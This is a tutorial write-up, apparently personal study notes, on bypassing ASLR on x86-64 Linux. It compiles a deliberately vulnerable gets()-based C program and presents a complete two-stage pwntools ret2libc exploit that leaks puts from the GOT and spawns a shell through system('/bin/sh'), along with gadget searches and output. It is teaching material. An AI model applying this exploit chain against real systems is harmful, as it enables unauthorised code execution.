description | cover | coverY |
---|---|---|
11/01/2023 |
99.23333333333335 |
Hello! Here, we will be discussing bypassing Address Space Layout Randomization (ASLR) in greater detail.
Remember, ASLR will randomize the addresses in our dynamic libraries, stack, and heap. It will not touch our binary unless our binary is compiled with the Position Independent Executable (PIE) is enabled on the binary.
ASLR was created to help prevent exploitation techniques (especially hardcoded addresses in exploit code) related to memory corruption.
If an attacker does not possess the knowledge of where specific memory addresses are at runtime, they will have a much harder time attacking their target.
{% embed url="https://book.hacktricks.xyz/reversing-and-exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address#2-finding-gadgets" %}
{% embed url="https://codingvision.net/bypassing-aslr-dep-getting-shells-with-pwntools" %} References {% endembed %}
We can actually confirm this by running ldd
against our binary and notice that the addresses will change each time:
ldd aslr-1
linux-vdso.so.1 (0x00007ffffdcdd000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdb9f400000)
/lib64/ld-linux-x86-64.so.2 (0x00007fdb9f7c8000)
ldd aslr-1
linux-vdso.so.1 (0x00007ffc64387000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fefad600000)
/lib64/ld-linux-x86-64.so.2 (0x00007fefad925000)
ldd aslr-1
linux-vdso.so.1 (0x00007ffc1affb000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f50af600000)
/lib64/ld-linux-x86-64.so.2 (0x00007f50afa40000)
- Leaks -> address leaking -> knowledge of how PLT and GOT works
- Relative addressing
- Bruteforcing
We will be covering address leaking here in this writeup.
First, we will want to start off by locating a potential buffer overflow within our program.
Second, we will want to leak the address of puts()
with our buffer overflow using a puts@plt()
and then we will be able to calculate the address of system() since we have access to our libc
library.
Third, you will want to calculate the address of the "sh
" string so that we can ultimately execute a call to system("sh")
.
This does sound complicated, but we can make our lives easier on us by utilizing pwntools.
aslr-1.c
:
#include <stdio.h>
int main(int argc, char* argv[])
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char buffer[40];
printf("Enter some data:\n");
gets(buffer);
printf("So, you think you can bypass the almighty ASLR protection?\n");
return 0;
}
{% code overflow="wrap" %}
docker run --rm --mount type=bind,source="$(pwd)",target=/app -w /app gcc:10.5.0 gcc -Wall -g -fno-stack-protector -no-pie aslr-1.c -o aslr-1
{% endcode %}
This downgrade is necessary so we can compile our binary with the correct gadgets.
file
:
{% code overflow="wrap" %}
file aslr-1
aslr-1: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=58bc036b95b49a6bb6aeb41ffa60eff8a95b2af6, for GNU/Linux 3.2.0, not stripped
{% endcode %}
checksec
:
checksec aslr-1
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
NX-bit is set, so we will need to perform Return-Oriented-Programming (ROP).
Since ASLR is enabled, we must understand how the Global Offset Table (GOT) works since we will not know where our addresses will be mapped to the dynamic library (libc
) of our binary.
The addresses are determined at runtime and the GOT will act as a "dictionary" of sorts to store our external addresses found in the libc
library.
These values within the GOT are determined by the dynamic address solver A.K.A. the linker.
So, for our exploit to work, we will need to reference GOT addresses instead of external addresses. We will want to pay close attention to the external function (found in the libc
library) , puts()
, as it will be very lucrative to us. Note how puts()
is not contained within our source code, but rather the dynamic library itself.
{% content-ref url=".got-.plt-and-.got.plt/" %} .got-.plt-and-.got.plt {% endcontent-ref %}
Addresses of instructions found in the libraries relative to the base address stay the same.
Offsets of functions from the base address of libc
are always available to use and are fixed.
Why do we care about puts()
?
Well, this is because calling puts()
will allow us to output the external address of puts@libc
, which will give us an idea of where our libc
dynamic library is mapped in memory.
-R
will allow us to be able to view relocation records in our binary.
objdump -R aslr-1
aslr-1: file format elf64-x86-64
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000003da8 R_X86_64_RELATIVE *ABS*+0x0000000000001180
0000000000003db0 R_X86_64_RELATIVE *ABS*+0x0000000000001140
0000000000004008 R_X86_64_RELATIVE *ABS*+0x0000000000004008
0000000000003fd8 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.34
0000000000003fe0 R_X86_64_GLOB_DAT _ITM_deregisterTMCloneTable@Base
0000000000003fe8 R_X86_64_GLOB_DAT __gmon_start__@Base
0000000000003ff0 R_X86_64_GLOB_DAT _ITM_registerTMCloneTable@Base
0000000000003ff8 R_X86_64_GLOB_DAT __cxa_finalize@GLIBC_2.2.5
0000000000003fc0 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000003fc8 R_X86_64_JUMP_SLOT gets@GLIBC_2.2.5
0000000000003fd0 R_X86_64_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
Pay attention to the ninth row, this is where we want to direct our attention.
0x0000000000003fc0 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
From here, we will need a ROP gadget that will take a parameter from the stack and places it into the RDI register, which is the register that takes the first parameter.
We want to place the first parameter using our puts@plt
call.
This is because we are exploiting a binary that runs on an x64 architecture.
The x64 calling convention requires the first parameter of a call to be placed into the RDI register.
Specifically, we are looking for a ROP gadget that POP
's the value of RDI
and RET
's (POP RDI; RET
).
ropper --file aslr-1 --search "pop rdi"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: aslr-1
0x00000000004011cb: pop rdi; ret;
You might be wondering how we would call puts()
, this is a good question because we can call puts@PLT
through the Procedure Linkage Table (PLT) "trampoline".
This works because this address is fixed and unaffected by ASLR.
objdump -d -M intel aslr-1 | grep "puts@plt"
0000000000401030 <puts@plt>:
401146: e8 e5 fe ff ff call 401030 <puts@plt>
401161: e8 ca fe ff ff call 401030 <puts@plt>
0x0000000000401030 <puts@plt>
objdump -D aslr1 | grep main
401084: ff 15 66 2f 00 00 call *0x2f66(%rip) # 403ff0 <__libc_start_main@GLIBC_2.2.5>
0000000000401142 <main>:
gdb aslr-1
cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
b gets
r
c
**<paste_pattern_here> and press enter**
RBP
contains our pattern that we want to use
cyclic -l gaaaaaaa
Finding cyclic pattern of 8 bytes: b'gaaaaaaa' (hex: 0x6761616161616161)
Found at offset 48
48 (offset) + 8 (RIP) = 56-bytes of padding/offset
Armed with the knowledge above, we need to find a way to leak the address of a libc
function from the Global Offset Table (GOT).
Then, we need to subtract the offset of the same function in libc
which we obtained above and we will be able to find the current base address of the loaded libc
library.
We can then use this base address to calculate the address of any libc function we want:
puts()
system()
- etc.
We simply need to feed the address of puts()
and it will write it to STDOUT.
The reason that we call main()
twice is because after we leak the address, we don't want the process to exit immediately since this will render the leaked address to be invalid (hence ASLR being enabled and a new set of randomized addressing will occur).
So, to combat this we will redirect the flow of execution to main()
once more by calling main()
.
So with this particular ASLR bypass, I chose to split up our exploit into three different stages that will accomplish different things to grant us a shell:
Stage 1: Leak the libc address (puts@GLIBC)
Stage 2: Obtain addresses and offsets
Stage 3: Calculate the base address of libc
According to the x64 calling convention, function arguments are to be passed into CPU registers.
- First parameter: RDI
- Second parameter: RSI
- Third parameter : RDX
We need pop rdi; ret
in puts()
because it the puts()
function requires and reads the first parameter from the RDI
register.
We then need a pop rdi; ret
for system()
because we need to supply the parameters of the string "/bin/sh\x00"
in order to get a shell.
aslr-1-exploit.py
:
from pwn import *
from pwnlib import gdb
from pwnlib.elf.elf import ELF
from pwnlib.tubes.remote import remote
from pwnlib.tubes.process import process
from pwnlib.rop.rop import ROP
from pwnlib.util.packing import p64, u64
from pwnlib.ui import pause
from pwn import context, log
###################
###### SETUP ######
###################
exe = context.binary = ELF('./aslr-1', checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
# context.log_level = 'debug'
p = process(exe.path)
###################
#### libc leak ####
###################
offset = b'A'*56
rop = ROP(exe)
ret = rop.find_gadget(["ret"])[0]
print(f'{hex(ret)=}')
rop.puts(exe.got['puts'])
rop.call(exe.symbols['main'])
log.info("Stage 1 ROP Chain:\n" + rop.dump())
payload = offset + rop.chain()
p.sendline(payload)
leak = p.recv().split(b'\n')[1]
leaked_puts = u64(leak.ljust(8, b"\x00"))
log.success("Leaked puts@GLIBC: " + hex(leaked_puts))
# gdb.attach(p)
# pause()
###################
#### ret2libc #####
###################
libc_base = leaked_puts - libc.symbols['puts']
libc.address = libc_base
rop2 = ROP(libc)
ret = rop2.find_gadget(["ret"])[0]
rop2.system(next(libc.search(b'/bin/sh\x00')))
log.info("Stage 2 ROP Chain:\n" + rop2.dump())
payload = offset + p64(ret) + rop2.chain()
# gdb.attach(p)
# pause()
p.sendline(payload)
p.interactive()
At first glance, the last few lines can look intimidating and even confusing.
Our leak
variable is obtained after our buffer overflow of 56 A
's in which we will immediately call the ROP gadget, pop rdi; ret
to pop the address of puts()
into the RDI
register and write the result to STDOUT
.
Reminder, we need to subtract the offset of the same function in libc
which we obtained above and we will be able to find the current base address of the loaded libc
library.
This can be seen in libc_base = leaked_puts - libc.symbols['puts']
.
libc.address = libc_base
means that we are using a pwntools shortcut so it will automagically add the offset so you do not have to keep adding the libc
base to everything.
(e.g.) libc_base + 0x12b5
Keeping in mind that addresses obtained from libc
are offsets from the libc
base.
So, all together, we need:
Offset
('A'*56)
&pop rdi; ret
&puts@GLIBC
&main()
Offset
('A'*56)
&ret
&pop rdi; ret
&system("/bin/sh, \x00")
We successfully get a shell!
[*] Loaded 14 cached gadgets for './aslr1'
hex(ret)='0x401016'
[*] Stage 1 ROP Chain:
0x0000: 0x40120b pop rdi; ret
0x0008: 0x404018 [arg0] rdi = got.puts
0x0010: 0x401030 puts
0x0018: 0x401142 0x401142()
[+] Leaked puts@GLIBC: 0x7ff4e0680e50
[*] Loaded 219 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[*] Stage 2 ROP Chain:
0x0000: 0x7ff4e062a3e5 pop rdi; ret
0x0008: 0x7ff4e07d8698 [arg0] rdi = 140689715070616
0x0010: 0x7ff4e0650d70 system
[*] Switching to interactive mode
So, you think you can bypass the almighty ASLR protection?
$